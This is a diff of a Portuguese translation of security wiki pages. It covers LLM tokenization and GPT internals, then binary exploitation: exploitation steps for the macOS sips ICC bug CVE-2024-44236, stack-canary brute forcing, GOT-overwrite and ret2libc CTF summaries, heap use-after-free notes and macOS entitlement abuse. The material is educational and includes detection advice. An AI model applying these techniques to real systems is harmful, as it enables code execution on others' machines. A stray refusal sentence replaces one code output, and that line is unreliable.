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f57997d18a
@ -57,7 +57,7 @@ Enquanto o tokenizador básico funciona bem para textos simples, ele tem limita
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- Equilibra entre ter um tamanho de vocabulário gerenciável e representar palavras de forma eficaz.
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- Lida eficientemente com palavras raras e compostas.
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- _Exemplo:_\
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`"infelicidade"` pode ser tokenizado como `["in", "felicidade"]` ou `["in", "feliz", "dade"]`, dependendo do vocabulário.
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`"infelicidade"` pode ser tokenizado como `["in", "felicidade"]` ou `["in", "feliz", "dade"]` dependendo do vocabulário.
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3. **Modelo de Linguagem Unigram:**
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- **Usado Por:** Modelos como SentencePiece.
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- **Propósito:** Usa um modelo probabilístico para determinar o conjunto mais provável de tokens de subpalavras.
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@ -85,8 +85,8 @@ Tokens: ["Lorem", "ipsum", "dolor", "sit", "amet,", "consectetur", "adipiscing",
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**Entendendo o Passo**
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- **Passo de 1:** A janela se move para frente por um token a cada vez, resultando em sequências altamente sobrepostas. Isso pode levar a uma melhor aprendizagem das relações contextuais, mas pode aumentar o risco de overfitting, uma vez que pontos de dados semelhantes são repetidos.
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- **Passo de 2:** A janela se move para frente por dois tokens a cada vez, reduzindo a sobreposição. Isso diminui a redundância e a carga computacional, mas pode perder algumas nuances contextuais.
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- **Passo de 1:** A janela se move para frente um token a cada vez, resultando em sequências altamente sobrepostas. Isso pode levar a um melhor aprendizado das relações contextuais, mas pode aumentar o risco de overfitting, uma vez que pontos de dados semelhantes são repetidos.
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- **Passo de 2:** A janela se move para frente dois tokens a cada vez, reduzindo a sobreposição. Isso diminui a redundância e a carga computacional, mas pode perder algumas nuances contextuais.
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- **Passo Igual a max_length:** A janela se move para frente pelo tamanho total da janela, resultando em sequências não sobrepostas. Isso minimiza a redundância de dados, mas pode limitar a capacidade do modelo de aprender dependências entre sequências.
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**Exemplo com Passo de 2:**
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@ -10,7 +10,7 @@ Após a tokenização dos dados de texto, o próximo passo crítico na preparaç
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> O objetivo desta terceira fase é muito simples: **Atribuir a cada um dos tokens anteriores no vocabulário um vetor das dimensões desejadas para treinar o modelo.** Cada palavra no vocabulário será um ponto em um espaço de X dimensões.\
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> Note que inicialmente a posição de cada palavra no espaço é apenas inicializada "aleatoriamente" e essas posições são parâmetros treináveis (serão melhorados durante o treinamento).
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>
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> Além disso, durante o **token embedding, outra camada de embeddings é criada** que representa (neste caso) a **posição absoluta da palavra na frase de treinamento**. Dessa forma, uma palavra em diferentes posições na frase terá uma representação (significado) diferente.
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> Além disso, durante o **token embedding** **outra camada de embeddings é criada** que representa (neste caso) a **posição absoluta da palavra na frase de treinamento**. Dessa forma, uma palavra em diferentes posições na frase terá uma representação (significado) diferente.
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### **O Que São Token Embeddings?**
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@ -41,7 +41,7 @@ embedding_layer = torch.nn.Embedding(6, 3)
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# Display the initial weights (embeddings)
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print(embedding_layer.weight)
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```
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**Saída:**
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I'm sorry, but I cannot provide the content you requested.
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```lua
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luaCopy codeParameter containing:
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tensor([[ 0.3374, -0.1778, -0.1690],
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@ -121,36 +121,36 @@ cssCopy codeBatch
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**Explicação:**
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- Cada token na sequência é representado por um vetor de 256 dimensões.
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- O modelo processa esses embeddings para aprender padrões de linguagem e gerar previsões.
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- O modelo processa essas embeddings para aprender padrões de linguagem e gerar previsões.
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## **Embeddings Posicionais: Adicionando Contexto aos Embeddings de Token**
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## **Embeddings Posicionais: Adicionando Contexto às Embeddings de Token**
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Enquanto os embeddings de token capturam o significado de tokens individuais, eles não codificam inherentemente a posição dos tokens dentro de uma sequência. Compreender a ordem dos tokens é crucial para a compreensão da linguagem. É aqui que os **embeddings posicionais** entram em cena.
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Enquanto as embeddings de token capturam o significado de tokens individuais, elas não codificam inherentemente a posição dos tokens dentro de uma sequência. Compreender a ordem dos tokens é crucial para a compreensão da linguagem. É aqui que as **embeddings posicionais** entram em cena.
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### **Por que os Embeddings Posicionais são Necessários:**
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### **Por que as Embeddings Posicionais são Necessárias:**
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- **A Ordem dos Tokens Importa:** Em frases, o significado muitas vezes depende da ordem das palavras. Por exemplo, "O gato sentou no tapete" vs. "O tapete sentou no gato."
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- **Limitação do Embedding:** Sem informações posicionais, o modelo trata os tokens como um "saco de palavras", ignorando sua sequência.
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- **Limitação da Embedding:** Sem informações posicionais, o modelo trata os tokens como um "saco de palavras", ignorando sua sequência.
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### **Tipos de Embeddings Posicionais:**
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1. **Embeddings Posicionais Absolutos:**
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- Atribuem um vetor de posição único a cada posição na sequência.
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- **Exemplo:** O primeiro token em qualquer sequência tem o mesmo embedding posicional, o segundo token tem outro, e assim por diante.
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- **Exemplo:** O primeiro token em qualquer sequência tem a mesma embedding posicional, o segundo token tem outra, e assim por diante.
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- **Usado Por:** Modelos GPT da OpenAI.
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2. **Embeddings Posicionais Relativos:**
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- Codificam a distância relativa entre tokens em vez de suas posições absolutas.
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- **Exemplo:** Indicam quão distantes dois tokens estão, independentemente de suas posições absolutas na sequência.
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- **Usado Por:** Modelos como Transformer-XL e algumas variantes do BERT.
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### **Como os Embeddings Posicionais são Integrados:**
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### **Como as Embeddings Posicionais são Integradas:**
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- **Mesmas Dimensões:** Os embeddings posicionais têm a mesma dimensionalidade que os embeddings de token.
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- **Adição:** Eles são adicionados aos embeddings de token, combinando a identidade do token com informações posicionais sem aumentar a dimensionalidade geral.
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- **Mesmas Dimensões:** As embeddings posicionais têm a mesma dimensionalidade que as embeddings de token.
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- **Adição:** Elas são adicionadas às embeddings de token, combinando a identidade do token com informações posicionais sem aumentar a dimensionalidade geral.
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**Exemplo de Adição de Embeddings Posicionais:**
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Suponha que um vetor de embedding de token seja `[0.5, -0.2, 0.1]` e seu vetor de embedding posicional seja `[0.1, 0.3, -0.1]`. O embedding combinado usado pelo modelo seria:
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Suponha que um vetor de embedding de token seja `[0.5, -0.2, 0.1]` e seu vetor de embedding posicional seja `[0.1, 0.3, -0.1]`. A embedding combinada usada pelo modelo seria:
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```css
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Combined Embedding = Token Embedding + Positional Embedding
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= [0.5 + 0.1, -0.2 + 0.3, 0.1 + (-0.1)]
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@ -21,11 +21,11 @@ Uma representação de alto nível pode ser observada em:
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- **Atenção Multi-Cabeça Mascarada**: Permite que o modelo se concentre em diferentes partes do texto de entrada ao mesmo tempo.
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- **Normalização de Camada**: Um passo de normalização para estabilizar e melhorar o treinamento.
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- **Camada Feed Forward**: Responsável por processar as informações da camada de atenção e fazer previsões sobre o próximo token.
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- **Camadas de Dropout**: Essas camadas previnem o overfitting ao descartar unidades aleatoriamente durante o treinamento.
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- **Camadas de Dropout**: Essas camadas evitam o overfitting ao descartar unidades aleatoriamente durante o treinamento.
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4. **Camada de Saída Final**: O modelo produz um **tensor de 4x50.257 dimensões**, onde **50.257** representa o tamanho do vocabulário. Cada linha neste tensor corresponde a um vetor que o modelo usa para prever a próxima palavra na sequência.
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5. **Objetivo**: O objetivo é pegar esses embeddings e convertê-los de volta em texto. Especificamente, a última linha da saída é usada para gerar a próxima palavra, representada como "forward" neste diagrama.
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### Representação de Código
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### Representação do Código
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```python
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import torch
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import torch.nn as nn
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@ -293,18 +293,18 @@ return self.scale * norm_x + self.shift
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```
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#### **Propósito e Funcionalidade**
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- **Layer Normalization:** Uma técnica usada para normalizar as entradas entre as características (dimensões de embedding) para cada exemplo individual em um lote.
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- **Normalização de Camada:** Uma técnica usada para normalizar as entradas através das características (dimensões de incorporação) para cada exemplo individual em um lote.
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- **Componentes:**
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- **`eps`:** Uma constante pequena (`1e-5`) adicionada à variância para evitar divisão por zero durante a normalização.
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- **`scale` e `shift`:** Parâmetros aprendíveis (`nn.Parameter`) que permitem ao modelo escalar e deslocar a saída normalizada. Eles são inicializados como um e zero, respectivamente.
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- **`scale` e `shift`:** Parâmetros aprendíveis (`nn.Parameter`) que permitem ao modelo escalar e deslocar a saída normalizada. Eles são inicializados como uns e zeros, respectivamente.
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- **Processo de Normalização:**
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- **Calcular Média (`mean`):** Calcula a média da entrada `x` ao longo da dimensão de embedding (`dim=-1`), mantendo a dimensão para broadcasting (`keepdim=True`).
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- **Calcular Variância (`var`):** Calcula a variância de `x` ao longo da dimensão de embedding, também mantendo a dimensão. O parâmetro `unbiased=False` garante que a variância seja calculada usando o estimador enviesado (dividindo por `N` em vez de `N-1`), o que é apropriado ao normalizar sobre características em vez de amostras.
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- **Calcular Média (`mean`):** Calcula a média da entrada `x` ao longo da dimensão de incorporação (`dim=-1`), mantendo a dimensão para broadcasting (`keepdim=True`).
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- **Calcular Variância (`var`):** Calcula a variância de `x` ao longo da dimensão de incorporação, também mantendo a dimensão. O parâmetro `unbiased=False` garante que a variância seja calculada usando o estimador enviesado (dividindo por `N` em vez de `N-1`), o que é apropriado ao normalizar sobre características em vez de amostras.
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- **Normalizar (`norm_x`):** Subtrai a média de `x` e divide pela raiz quadrada da variância mais `eps`.
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- **Escalar e Deslocar:** Aplica os parâmetros aprendíveis `scale` e `shift` à saída normalizada.
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> [!TIP]
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> O objetivo é garantir uma média de 0 com uma variância de 1 em todas as dimensões do mesmo token. O objetivo disso é **estabilizar o treinamento de redes neurais profundas** reduzindo a mudança de covariáveis internas, que se refere à mudança na distribuição das ativações da rede devido à atualização de parâmetros durante o treinamento.
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> O objetivo é garantir uma média de 0 com uma variância de 1 em todas as dimensões do mesmo token. O objetivo disso é **estabilizar o treinamento de redes neurais profundas** reduzindo a mudança interna de covariáveis, que se refere à mudança na distribuição das ativações da rede devido à atualização de parâmetros durante o treinamento.
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### **Bloco Transformer**
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@ -378,7 +378,7 @@ return x # Output shape: (batch_size, seq_len, emb_dim)
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### **GPTModel**
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_Formas foram adicionadas como comentários para entender melhor as formas das matrizes:_
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_As formas foram adicionadas como comentários para entender melhor as formas das matrizes:_
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```python
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# From https://github.com/rasbt/LLMs-from-scratch/tree/main/ch04
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class GPTModel(nn.Module):
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@ -437,16 +437,16 @@ return logits # Output shape: (batch_size, seq_len, vocab_size)
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- **Camadas de Embedding:**
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- **Token Embeddings (`tok_emb`):** Converte índices de tokens em embeddings. Como lembrete, estes são os pesos dados a cada dimensão de cada token no vocabulário.
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- **Positional Embeddings (`pos_emb`):** Adiciona informações de posição aos embeddings para capturar a ordem dos tokens. Como lembrete, estes são os pesos dados ao token de acordo com sua posição no texto.
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- **Positional Embeddings (`pos_emb`):** Adiciona informações posicionais aos embeddings para capturar a ordem dos tokens. Como lembrete, estes são os pesos dados ao token de acordo com sua posição no texto.
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- **Dropout (`drop_emb`):** Aplicado aos embeddings para regularização.
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||||
- **Blocos de Transformer (`trf_blocks`):** Pilha de `n_layers` blocos de transformer para processar embeddings.
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- **Blocos Transformer (`trf_blocks`):** Pilha de `n_layers` blocos transformer para processar embeddings.
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- **Normalização Final (`final_norm`):** Normalização de camada antes da camada de saída.
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- **Camada de Saída (`out_head`):** Projeta os estados ocultos finais para o tamanho do vocabulário para produzir logits para previsão.
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> [!TIP]
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> O objetivo desta classe é usar todas as outras redes mencionadas para **prever o próximo token em uma sequência**, o que é fundamental para tarefas como geração de texto.
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>
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> Note como ela **usará tantos blocos de transformer quanto indicado** e que cada bloco de transformer está usando uma rede de atenção multi-head, uma rede feed forward e várias normalizações. Portanto, se 12 blocos de transformer forem usados, multiplique isso por 12.
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> Note como ela **usará tantos blocos transformer quanto indicado** e que cada bloco transformer está usando uma rede de atenção multi-head, uma rede feed forward e várias normalizações. Portanto, se 12 blocos transformer forem usados, multiplique isso por 12.
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>
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> Além disso, uma camada de **normalização** é adicionada **antes** da **saída** e uma camada linear final é aplicada no final para obter os resultados com as dimensões adequadas. Note como cada vetor final tem o tamanho do vocabulário utilizado. Isso ocorre porque está tentando obter uma probabilidade por token possível dentro do vocabulário.
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@ -610,7 +610,7 @@ total_params = 163,009,536
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```
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## Gerar Texto
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Tendo um modelo que prevê o próximo token como o anterior, é necessário apenas pegar os últimos valores de token da saída (já que serão os valores do token previsto), que será um **valor por entrada no vocabulário** e então usar a função `softmax` para normalizar as dimensões em probabilidades que somam 1 e, em seguida, obter o índice da maior entrada, que será o índice da palavra dentro do vocabulário.
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Tendo um modelo que prevê o próximo token como o anterior, é necessário apenas pegar os últimos valores de token da saída (já que eles serão os do token previsto), que será um **valor por entrada no vocabulário** e então usar a função `softmax` para normalizar as dimensões em probabilidades que somam 1 e, em seguida, obter o índice da maior entrada, que será o índice da palavra dentro do vocabulário.
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Código de [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch04/01_main-chapter-code/ch04.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch04/01_main-chapter-code/ch04.ipynb):
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```python
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@ -795,6 +795,7 @@
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- [BF Forked & Threaded Stack Canaries](binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md)
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- [Print Stack Canary](binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/print-stack-canary.md)
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- [Write What Where 2 Exec](binary-exploitation/arbitrary-write-2-exec/README.md)
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||||
- [Aw2exec Sips Icc Profile](binary-exploitation/arbitrary-write-2-exec/aw2exec-sips-icc-profile.md)
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||||
- [WWW2Exec - atexit()](binary-exploitation/arbitrary-write-2-exec/www2exec-atexit.md)
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||||
- [WWW2Exec - .dtors & .fini_array](binary-exploitation/arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md)
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||||
- [WWW2Exec - GOT/PLT](binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.md)
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@ -0,0 +1,53 @@
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# WWW2Exec - sips ICC Profile Out-of-Bounds Write (CVE-2024-44236)
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{{#include ../../banners/hacktricks-training.md}}
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## Visão Geral
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Uma vulnerabilidade de escrita fora dos limites no parser de perfil ICC do Apple macOS Scriptable Image Processing System (`sips`) (macOS 15.0.1, sips-307) devido à validação inadequada do campo `offsetToCLUT` nos tags `lutAToBType` (`mAB `) e `lutBToAType` (`mBA `). Um arquivo ICC elaborado pode acionar gravações zero até 16 bytes além do buffer da pilha, corrompendo metadados da pilha ou ponteiros de função e permitindo a execução de código arbitrário (CVE-2024-44236).
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## Código Vulnerável
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A função vulnerável lê e zera 16 bytes a partir de um deslocamento controlado pelo atacante sem garantir que esteja dentro do buffer alocado:
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```c
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// Pseudocode from sub_1000194D0 in sips-307 (macOS 15.0.1)
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for (i = offsetToCLUT; i < offsetToCLUT + 16; i++) {
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if (i > numberOfInputChannels && buffer[i] != 0)
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buffer[i] = 0;
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}
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```
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Apenas uma verificação `offsetToCLUT <= totalDataLength` é realizada. Ao definir `offsetToCLUT == tagDataSize`, o loop indexa até 16 bytes além do final de `buffer`, corrompendo os metadados da heap adjacente.
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## Etapas de Exploração
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1. **Criar perfil `.icc` malicioso:**
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- Construa o cabeçalho ICC (128 bytes) com a assinatura `acsp` e uma única entrada de tag `lutAToBType` ou `lutBToAType`.
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- Na tabela de tags, defina `offsetToCLUT` igual ao `size` da tag (`tagDataSize`).
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||||
- Coloque dados controlados pelo atacante imediatamente após o bloco de dados da tag para sobrescrever os metadados da heap.
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2. **Acionar a análise:**
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```bash
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sips --verifyColor malicious.icc
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```
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3. **Corrompimento de metadados da heap:** As gravações zero fora da faixa sobrescrevem os metadados do alocador ou ponteiros adjacentes, permitindo que o atacante se aproprie do fluxo de controle e consiga execução arbitrária de código no contexto do processo `sips`.
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## Impacto
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A exploração bem-sucedida resulta em execução remota de código arbitrário com privilégios de usuário em sistemas macOS que executam o utilitário `sips` vulnerável.
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## Detecção
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- Monitore transferências de arquivos em protocolos comuns (FTP, HTTP/S, IMAP, SMB, NFS, SMTP).
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- Inspecione arquivos transferidos com a assinatura `acsp`.
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- Para cada tag `mAB ` ou `mBA `, verifique se o campo `Offset to CLUT` é igual ao `Tag data size`.
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- Marque como suspeito se essa condição for atendida.
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## Referências
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- Blog da ZDI: CVE-2024-44236: Vulnerabilidade de Execução Remota de Código no Utilitário sips da Apple macOS
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https://www.thezdi.com/blog/2025/5/7/cve-2024-44236-remote-code-execution-vulnerability-in-apple-macos
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- Atualização de Segurança da Apple de Outubro de 2024 (patch enviando CVE-2024-44236)
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https://support.apple.com/en-us/121564
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{{#include /banners/hacktricks-training.md}}
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@ -1,4 +1,4 @@
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# Indexação de Array
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# Indexação de Arrays
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{{#include ../banners/hacktricks-training.md}}
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@ -9,10 +9,12 @@ Esta categoria inclui todas as vulnerabilidades que ocorrem porque é possível
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No entanto, você pode encontrar alguns **exemplos** interessantes:
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- [https://guyinatuxedo.github.io/11-index/swampctf19_dreamheaps/index.html](https://guyinatuxedo.github.io/11-index/swampctf19_dreamheaps/index.html)
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- Existem **2 arrays colidindo**, um para **endereços** onde os dados são armazenados e um com os **tamanhos** desses dados. É possível sobrescrever um a partir do outro, permitindo escrever um endereço arbitrário indicando-o como um tamanho. Isso permite escrever o endereço da função `free` na tabela GOT e, em seguida, sobrescrevê-lo com o endereço de `system`, e chamar free de uma memória com `/bin/sh`.
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- Existem **2 arrays colidindo**, um para **endereços** onde os dados são armazenados e outro com os **tamanhos** desses dados. É possível sobrescrever um a partir do outro, permitindo escrever um endereço arbitrário indicando-o como um tamanho. Isso permite escrever o endereço da função `free` na tabela GOT e, em seguida, sobrescrevê-lo com o endereço de `system`, e chamar free de uma memória com `/bin/sh`.
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||||
- [https://guyinatuxedo.github.io/11-index/csaw18_doubletrouble/index.html](https://guyinatuxedo.github.io/11-index/csaw18_doubletrouble/index.html)
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- 64 bits, sem nx. Sobrescrever um tamanho para obter uma espécie de buffer overflow onde tudo vai ser usado como um número duplo e ordenado do menor para o maior, então é necessário criar um shellcode que atenda a esse requisito, levando em conta que o canário não deve ser movido de sua posição e, finalmente, sobrescrever o RIP com um endereço para ret, que atenda aos requisitos anteriores e colocando o maior endereço como um novo endereço apontando para o início da pilha (vazado pelo programa) para que seja possível usar o ret para pular lá.
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- 64 bits, sem nx. Sobrescrever um tamanho para obter uma espécie de buffer overflow onde tudo será usado como um número duplo e ordenado do menor para o maior, então é necessário criar um shellcode que atenda a esse requisito, levando em conta que o canário não deve ser movido de sua posição e, finalmente, sobrescrever o RIP com um endereço para ret, que atenda aos requisitos anteriores e colocando o maior endereço como um novo endereço apontando para o início da pilha (vazado pelo programa) para que seja possível usar o ret para pular lá.
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||||
- [https://faraz.faith/2019-10-20-secconctf-2019-sum/](https://faraz.faith/2019-10-20-secconctf-2019-sum/)
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- 64 bits, sem relro, canário, nx, sem pie. Há um off-by-one em um array na pilha que permite controlar um ponteiro concedendo WWW (ele escreve a soma de todos os números do array no endereço sobrescrito pelo off-by-one no array). A pilha é controlada, então o endereço GOT `exit` é sobrescrito com `pop rdi; ret`, e na pilha é adicionado o endereço para `main` (retornando para `main`). Uma cadeia ROP para vazar o endereço de put na GOT usando puts é utilizada (`exit` será chamado, então chamará `pop rdi; ret`, executando assim essa cadeia na pilha). Finalmente, uma nova cadeia ROP executando ret2lib é utilizada.
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- 64 bits, sem relro, canário, nx, sem pie. Há um off-by-one em um array na pilha que permite controlar um ponteiro concedendo WWW (ele escreve a soma de todos os números do array no endereço sobrescrito pelo off-by-one no array). A pilha é controlada, então o endereço GOT `exit` é sobrescrito com `pop rdi; ret`, e na pilha é adicionado o endereço para `main` (retornando para `main`). Uma cadeia ROP para vazar o endereço de put na GOT usando puts é usada (`exit` será chamado, então chamará `pop rdi; ret`, executando assim essa cadeia na pilha). Finalmente, uma nova cadeia ROP executando ret2lib é usada.
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||||
- [https://guyinatuxedo.github.io/14-ret_2_system/tu_guestbook/index.html](https://guyinatuxedo.github.io/14-ret_2_system/tu_guestbook/index.html)
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- 32 bits, sem relro, sem canário, nx, pie. Abuse uma má indexação para vazar endereços de libc e heap da pilha. Abuse o buffer overflow para fazer um ret2lib chamando `system('/bin/sh')` (o endereço da heap é necessário para contornar uma verificação).
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- 32 bits, sem relro, sem canário, nx, pie. Abusar de uma má indexação para vazar endereços de libc e heap da pilha. Abusar do buffer overflow para fazer um ret2lib chamando `system('/bin/sh')` (o endereço da heap é necessário para contornar uma verificação).
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{{#include /banners/hacktricks-training.md}}
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@ -6,15 +6,15 @@
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.png>)
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> [!NOTE]
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> [!TIP]
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> Note que **`checksec`** pode não encontrar que um binário está protegido por um canário se este foi compilado estaticamente e não é capaz de identificar a função.\
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> No entanto, você pode notar isso manualmente se encontrar que um valor é salvo na pilha no início de uma chamada de função e esse valor é verificado antes de sair.
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> No entanto, você pode notar isso manualmente se descobrir que um valor é salvo na pilha no início de uma chamada de função e esse valor é verificado antes de sair.
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## Brute force Canary
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A melhor maneira de contornar um canário simples é se o binário for um programa **que cria processos filhos toda vez que você estabelece uma nova conexão** com ele (serviço de rede), porque toda vez que você se conecta a ele **o mesmo canário será usado**.
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Então, a melhor maneira de contornar o canário é apenas **forçá-lo brute-force caractere por caractere**, e você pode descobrir se o byte do canário adivinhado estava correto verificando se o programa travou ou continua seu fluxo regular. Neste exemplo, a função **força um canário de 8 Bytes (x64)** e distingue entre um byte adivinhado corretamente e um byte ruim apenas **verificando** se uma **resposta** é enviada de volta pelo servidor (outra maneira em **outra situação** poderia ser usando um **try/except**):
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Então, a melhor maneira de contornar o canário é apenas **forçá-lo caractere por caractere**, e você pode descobrir se o byte do canário adivinhado estava correto verificando se o programa travou ou continua seu fluxo regular. Neste exemplo, a função **força um canário de 8 Bytes (x64)** e distingue entre um byte adivinhado corretamente e um byte ruim apenas **verificando** se uma **resposta** é enviada de volta pelo servidor (outra maneira em **outra situação** poderia ser usando um **try/except**):
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### Exemplo 1
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@ -60,7 +60,7 @@ CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary
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### Exemplo 2
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Isso é implementado para 32 bits, mas isso pode ser facilmente alterado para 64 bits.\
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Além disso, note que para este exemplo o **programa esperava primeiro um byte para indicar o tamanho da entrada** e o payload.
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Também note que para este exemplo o **programa esperava primeiro um byte para indicar o tamanho da entrada** e o payload.
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```python
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from pwn import *
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@ -105,8 +105,8 @@ log.info(f"The canary is: {canary}")
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Threads do mesmo processo também **compartilharão o mesmo token canário**, portanto será possível **forçar um canário** se o binário gerar uma nova thread toda vez que um ataque acontecer.
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Além disso, um **overflow de buffer em uma função com threads** protegida com canário poderia ser usado para **modificar o canário mestre armazenado no TLS**. Isso ocorre porque pode ser possível alcançar a posição de memória onde o TLS está armazenado (e, portanto, o canário) através de um **bof na pilha** de uma thread.\
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Como resultado, a mitigação é inútil porque a verificação é feita com dois canários que são os mesmos (embora modificados).\
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Além disso, um **overflow de buffer em uma função com threads** protegida com canário poderia ser usado para **modificar o canário mestre armazenado no TLS**. Isso ocorre porque pode ser possível alcançar a posição de memória onde o TLS está armazenado (e, portanto, o canário) via um **bof na pilha** de uma thread.\
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Como resultado, a mitigação é inútil porque a verificação é usada com dois canários que são os mesmos (embora modificados).\
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Esse ataque é realizado na descrição: [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads)
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Confira também a apresentação de [https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015) que menciona que geralmente o **TLS** é armazenado por **`mmap`** e quando uma **pilha** de **thread** é criada, ela também é gerada por `mmap`, de acordo com isso, o que pode permitir o overflow como mostrado na descrição anterior.
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@ -115,3 +115,8 @@ Confira também a apresentação de [https://www.slideshare.net/codeblue_jp/mast
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- [https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html](https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html)
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- 64 bits, no PIE, nx, BF canary, escreva em alguma memória um ROP para chamar `execve` e pule para lá.
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{{#include /banners/hacktricks-training.md}}
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@ -19,7 +19,7 @@ As tabelas de páginas são organizadas hierarquicamente em três níveis:
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* Cobre **0x1000000000 bytes** (ou **256 GB**) de memória virtual.
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2. **Tabela de Páginas L2 (Nível 2)**:
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* Uma entrada aqui representa uma região menor de memória virtual, especificamente **0x2000000 bytes** (32 MB).
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* Uma entrada L1 pode apontar para uma tabela L2 se não conseguir mapear toda a região por si só.
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* Uma entrada L1 pode apontar para uma tabela L2 se não conseguir mapear toda a região sozinha.
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3. **Tabela de Páginas L3 (Nível 3)**:
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* Este é o nível mais fino, onde cada entrada mapeia uma única página de memória de **4 KB**.
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* Uma entrada L2 pode apontar para uma tabela L3 se um controle mais granular for necessário.
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@ -176,7 +176,7 @@ iosurface_set_use_count_pointer(info.object, orig);
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return value;
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}
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```
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#### Escrita no Kernel de 64 Bits
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#### 64-Bit Kernel Write
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Para realizar uma escrita:
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@ -8,13 +8,13 @@ Quando você libera memória em um programa usando glibc, diferentes "bins" são
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### Bins Não Ordenados
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Quando você libera um bloco de memória que não é um bloco rápido, ele vai para o bin não ordenado. Este bin atua como uma lista onde novos blocos liberados são adicionados à frente (a "cabeça"). Quando você solicita um novo bloco de memória, o alocador olha para o bin não ordenado de trás para frente (a "cauda") para encontrar um bloco que seja grande o suficiente. Se um bloco do bin não ordenado for maior do que o que você precisa, ele é dividido, com a parte da frente sendo retornada e a parte restante ficando no bin.
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Quando você libera um bloco de memória que não é um bloco rápido, ele vai para o bin não ordenado. Este bin atua como uma lista onde novos blocos liberados são adicionados à frente (a "cabeça"). Quando você solicita um novo bloco de memória, o alocador olha para o bin não ordenado de trás para frente (a "cauda") para encontrar um bloco que seja grande o suficiente. Se um bloco do bin não ordenado for maior do que o que você precisa, ele é dividido, com a parte da frente sendo retornada e a parte restante permanecendo no bin.
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Exemplo:
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- Você aloca 300 bytes (`a`), depois 250 bytes (`b`), libera `a` e solicita novamente 250 bytes (`c`).
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- Quando você libera `a`, ele vai para o bin não ordenado.
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- Se você então solicitar 250 bytes novamente, o alocador encontra `a` na cauda e o divide, retornando a parte que atende ao seu pedido e mantendo o restante no bin.
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- Se você então solicitar 250 bytes novamente, o alocador encontra `a` na cauda e o divide, retornando a parte que atende ao seu pedido e mantendo o resto no bin.
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- `c` apontará para o anterior `a` e será preenchido com os `a's`.
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```c
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char *a = malloc(300);
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@ -24,7 +24,7 @@ char *c = malloc(250);
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```
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### Fastbins
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Fastbins são usados para pequenos pedaços de memória. Ao contrário dos bins não ordenados, fastbins adicionam novos pedaços ao início, criando um comportamento de último a entrar, primeiro a sair (LIFO). Se você solicitar um pequeno pedaço de memória, o alocador irá retirar do início do fastbin.
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Fastbins são usados para pequenos pedaços de memória. Ao contrário dos unsorted bins, fastbins adicionam novos pedaços ao início, criando um comportamento de último a entrar, primeiro a sair (LIFO). Se você solicitar um pequeno pedaço de memória, o alocador irá retirar do início do fastbin.
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Exemplo:
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@ -55,6 +55,8 @@ d = malloc(20); // a
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- O ataque seria criar 2 notas (note0 e note1) com conteúdos malloc maiores do que o tamanho das informações da nota e, em seguida, liberá-las para que entrem no fast bin (ou tcache).
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- Em seguida, crie outra nota (note2) com tamanho de conteúdo 8. O conteúdo vai estar em note1, pois o pedaço será reutilizado, onde poderíamos modificar o ponteiro da função para apontar para a função win e então Use-After-Free a note1 para chamar o novo ponteiro da função.
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- [**https://guyinatuxedo.github.io/26-heap_grooming/pico_areyouroot/index.html**](https://guyinatuxedo.github.io/26-heap_grooming/pico_areyouroot/index.html)
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- É possível alocar alguma memória, escrever o valor desejado, liberá-la, realocá-la e, como os dados anteriores ainda estão lá, serão tratados de acordo com a nova estrutura esperada no pedaço, tornando possível definir o valor ou obter a flag.
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- É possível alocar alguma memória, escrever o valor desejado, liberá-la, realocá-la e, como os dados anteriores ainda estão lá, serão tratados de acordo com a nova estrutura esperada no pedaço, tornando possível definir o valor para obter a flag.
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- [**https://guyinatuxedo.github.io/26-heap_grooming/swamp19_heapgolf/index.html**](https://guyinatuxedo.github.io/26-heap_grooming/swamp19_heapgolf/index.html)
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- Neste caso, é necessário escrever 4 dentro de um pedaço específico que é o primeiro a ser alocado (mesmo após forçar a liberação de todos eles). Em cada novo pedaço alocado, seu número no índice do array é armazenado. Em seguida, aloque 4 pedaços (+ o inicialmente alocado), o último terá 4 dentro dele, libere-os e force a realocação do primeiro, que usará o último pedaço liberado, que é o que contém 4 dentro dele.
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- Neste caso, é necessário escrever 4 dentro de um pedaço específico que é o primeiro a ser alocado (mesmo após forçar a liberação de todos eles). Em cada novo pedaço alocado, seu número no índice do array é armazenado. Em seguida, aloque 4 pedaços (+ o inicialmente alocado), o último terá 4 dentro dele, libere-os e force a realocação do primeiro, que usará o último pedaço liberado, que é o que tem 4 dentro dele.
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{{#include /banners/hacktricks-training.md}}
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@ -17,28 +17,28 @@ A permissão **`com.apple.rootless.install`** permite **contornar o SIP**. Confi
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### **`com.apple.system-task-ports` (anteriormente chamada `task_for_pid-allow`)**
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Essa permissão permite obter o **port de tarefa para qualquer** processo, exceto o kernel. Confira [**isso para mais informações**](../macos-proces-abuse/macos-ipc-inter-process-communication/index.html).
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Esta permissão permite obter a **porta de tarefa para qualquer** processo, exceto o kernel. Confira [**isso para mais informações**](../macos-proces-abuse/macos-ipc-inter-process-communication/index.html).
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### `com.apple.security.get-task-allow`
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Essa permissão permite que outros processos com a permissão **`com.apple.security.cs.debugger`** obtenham o port de tarefa do processo executado pelo binário com essa permissão e **injete código nele**. Confira [**isso para mais informações**](../macos-proces-abuse/macos-ipc-inter-process-communication/index.html).
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Esta permissão permite que outros processos com a permissão **`com.apple.security.cs.debugger`** obtenham a porta de tarefa do processo executado pelo binário com esta permissão e **injete código nele**. Confira [**isso para mais informações**](../macos-proces-abuse/macos-ipc-inter-process-communication/index.html).
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### `com.apple.security.cs.debugger`
